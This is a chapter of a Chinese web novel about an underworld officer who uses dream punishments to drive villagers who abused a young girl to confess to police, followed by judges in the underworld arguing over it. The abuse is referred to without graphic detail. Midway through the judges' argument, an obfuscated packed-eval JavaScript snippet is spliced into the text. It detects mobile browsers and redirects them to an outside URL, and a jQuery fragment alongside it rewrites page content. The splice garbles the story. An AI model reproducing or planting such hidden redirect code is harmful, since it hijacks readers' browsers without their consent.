36. 第 36 章

作品:《我在地府当悍警

    村子上空,林正文看着下方沉睡的村庄,脸色微微发白。


    她跟随行刑鬼差“观看”了几个主要的刑罚过程。


    铜七他们手法极其精准老辣,痛苦给得淋漓尽致,却又牢牢控制在“梦境烙印”的范围内,不会真的让人猝死或发疯,不想像她之前用梦魇符那样简单粗暴。


    也正是这种克制之下的极致痛苦,让她感到一种彻骨的寒意。


    “游神可还适应?”铜七办完最后一家,悄然出现在她身侧。


    林正文摇摇头,又点点头:“除恶务尽,就如阳间每个国家对犯罪的力度不同一样,阴阳不同也是正常的。”


    “地狱之刑,非为泄愤,而为昭彰天理,警醒世人。”铜七望着逐渐泛起灰白的天际,“可惜,能亲眼见到、并因此畏惧而不作恶者,终究是少数。”


    林正文心中一动,一个念头闪过:“如果能把这些刑罚‘直播’出去,让所有潜在的恶人看到……”


    铜七罕见地露出一丝近乎笑意的东西:“那阳间或许能清静大半。可惜,阴阳有序,此非我等所能为。”


    林正文沉默。


    她想起自己的直播,目前还无法筛选观众。若让孩童看到这些,恐怕会对其造成严重的心理阴影。


    而且惩罚,不能仅止于梦境,他们同样违反了阳间的法律。


    天色刚亮起鱼肚白,行刑鬼差任务完成,向林正文拱手告辞,化作黑烟渗入地下。


    林正文却没有离开。


    她降下身形,在每一个刚刚经历完噩梦、浑身冷汗惊醒的村民耳边,留下了一句冰冷的话……


    早晨派出所刚换班,就发现大厅里出现表情奇怪的八个年轻男人。


    民警小陈看着眼前这八个面色惶惑、说话颠三倒四的村民,起初以为是恶作剧。


    可当一个男人哆嗦着说出“我给小溪的爷奶钱,小溪就能陪我……”时,小陈的脸色变了。


    立刻汇报所长,将八人分开询问。


    询问的过程让整个派出所所有民警都脊背发凉,怒火狂燃。


    起初这些人还吞吞吐吐,企图把这说成是合法的交易。警察可不好糊弄,直接问小溪的年龄。


    一听最早四年前就有人参与了,小陈记录的手都在抖。


    他强迫自己冷静下来,迅速将情况汇报给所长。


    所长听完,脸色凝重得能滴出水。


    “立刻控制所有嫌疑人,派女警去老鹰山村,找到那个女孩,先保护起来!联系卫生院派女医生陪同检查!”所长语速极快,“这个案子……太大了。涉及未成年人,又是长期、多人、可能全村包庇的重罪。”


    他拿起电话,又放下,看向小陈:“你刚才说,他们提到‘梦中被处刑?”


    小陈点头:“有好几个人说,梦里被拉到十八层地狱受刑,醒来后身边明明没有人,耳朵里却听到一个声音,让他们来自首。”


    所长走到窗前,看着外面灰蒙蒙的天空,深吸一口气。


    他想起前几天市局内部通传的“拐子村奇案”——几乎整个村做过恶事的人同时离奇猝死,表情惊恐万状,却无外伤无中毒,法医痕检都束手无策。


    内部有小道消息说,可能涉及“非自然力量”,让他们痛快又头大。


    若不是将消息牢牢封锁,恐怕舆论闹得沸反盈天了。


    现在又出现了一个“梦中处刑”……


    “这个案子,我们处理不了。”所长转身,语气斩钉截铁,“立刻整理材料,上报市局!”


    他顿了顿,压低声音对小陈说:“关于‘梦中受刑’的部分,如实记录,但标注存疑。上面……或许有人知道怎么回事。”


    派出所瞬间高速运转起来。


    警车呼啸着驶向老鹰山村,更多民警被召回,准备进行大规模排查、取证、抓捕。


    而这一切的始作俑者林正文,此刻正隐去身形,悬停在派出所外的电线杆上。


    她看着里面忙碌的景象,看着那八个面色如土、戴上手铐被分别押走的男人,看着更多警车闪烁着刺目的红蓝光芒驶向老鹰山村的方向。


    心中的怒火并未完全平息,但找到了一个出口。


    “这才只是开始。”她喃喃道。


    阳间的法律会审判他们的躯体,地府的烙印也已刻入他们的灵魂。无论哪一边,他们都逃不掉。


    那几个来自首的人一听可能会被判的刑期,这个人瞬间颓败。


    可没有什么“法不责众”一说,那个村里就算有一百个人伤害过那个女孩,也得挨个判刑!


    她最后望了一眼老鹰山村的方向,仿佛能穿透距离,看到那个依旧沉默放牛的女孩。


    然后,转身,化作一道流光,消失在天际。


    晨光彻底洒满大地,林正文不知道,地府里一场关于她的新争论,正在进行。


    水镜里,老鹰山村的景象逐渐清晰:警灯闪烁,几乎每家每户都有村民被押走,就连小溪的爷爷奶奶也不例外,任他哭求冤枉、装病耍赖,也逃不过一对银手铐。


    钟判背着手站在镜前,严肃的脸上竟有一丝满意。


    “做事总算有点章法了。”他低声说。


    “章法?我看是胆子更肥了!”一声怒喝从门口炸响。


    崔判和陆判沉着脸冲进来。


    陆判手里攥着份卷宗,一把拍在桌上,指着钟判,唾沫星子直往他脸上喷:


    “钟正!你这老狗今天必须给我个解释!”


    崔判紧随其后,笏板一下下在掌心上敲:“钟大人好闲心啊!在这儿看阳间热闹?欣赏林正文又干了大事?”


    钟判转身,脸色冷硬:“崔判这话不对。我看的是阴阳秩序,善恶报应。什么叫看热闹?”


    “善恶报应?”陆判把卷宗哗啦展开,手指重重戳在一行字上,“昨晚丑时到寅时,你罚恶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204561|195584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    司批文,调了铜柱、拔舌两狱四个行刑鬼差,跨界去阳间搞什么‘梦刑’,批文是你签的,钟正!”


    他抬头,眼睛冒火:“钟大人,这不合阴律吧?梦中用刑就算有先例,也得十人会审、举手表决!你一个罚恶司主判,就做了六案功曹和四位判官的主?谁给你的权利!”


    殿里空气一下子冻住了,门口的鬼吏大气不敢出。


    钟判却连眉毛都没抖一下:“规矩是死的。特殊情况,就得特殊处理。”


    “特殊处理?”陆判气得笑出声,“上次拐子村的事,我们看在姐妹帮收拾干净的份上,没深究!现在呢?她林正文变本加厉,居然怂恿你调地狱的人去阳间‘执法’?这口子一开,阴阳界限还要不要了?”


    他声音震得大殿嗡嗡响,憋了几个月的不满全倒了出来。不光是对钟判,更是对那个“十世善人”怎么都按不下去的邪火。


    钟判等他说完,才开口:“所有生灵魂魄都归地府管,我掌罚恶,说句不好听的,这本是我分内之事,何须你们同意?”


    他走到水镜边,手一挥,镜子里显出小溪的样子。


    “这女孩,八岁被村里的人欺负了,她爷奶发现此事,不仅不为她讨回公道,反而生了邪念。尤其是她爷,有悖伦常,在亲孙女身上发泄□□。村里那些男人更是一群法盲,认为给了钱就是合法交易,哼!”


    他转回头,盯着崔判和陆判:“这种村子,因为各种原因,阳间法律很难及时管。他们寿数没到,又不能提前勾魂。”


    “难道就眼睁睁看着,等这孩子要么被逼死,要么彻底麻木,将来带着一身怨气来地府,又是一个难缠的厉鬼?万一成了煞鬼?到时候闹得天翻地覆才算合阴律?”


    崔判眉头拧成疙瘩:“那也得按程序……”


    钟判打断他,声音陡然拔高,“崔判,我罚恶司门口‘惩恶务尽’四个字,不是挂着好看的!”


    他吸了口气,压住火气:“这次‘烙魂梦刑’,我仔细查过。林正文先摸清了证据,铁板钉钉。行刑鬼差手法很准,只把痛苦烙进他们神魂里,没伤阳寿,更没要命。刑完了还逼他们去自首,让阳间法律接着管。这不是私刑泄愤,这是‘阴司警告、阳间接手’的尝试!”


    见他们还要开口,钟判拿出最后的杀手锏:“更何况这事我已经禀报秦广王,阎君早就知情了,不算违规。”


    崔判和陆判对视一眼,没想到他竟然还有这一手。


    钟判顿了顿,给他们吸收的时间,接着又扔出一句重磅炸弹:


    “阎君对林正文的行为十分赞赏,还说:‘阳间日新月异,人口暴涨。六案功曹加四大判官十个人掌管地府事务,难免应接不暇,既然这大殿上能坐十把椅子,为什么不能因事设职,再加一把?’”


    崔判眼皮一跳:“你这话什么意思?”


    他才不信秦广王会随便说这话,八成是面前这老狗提出的。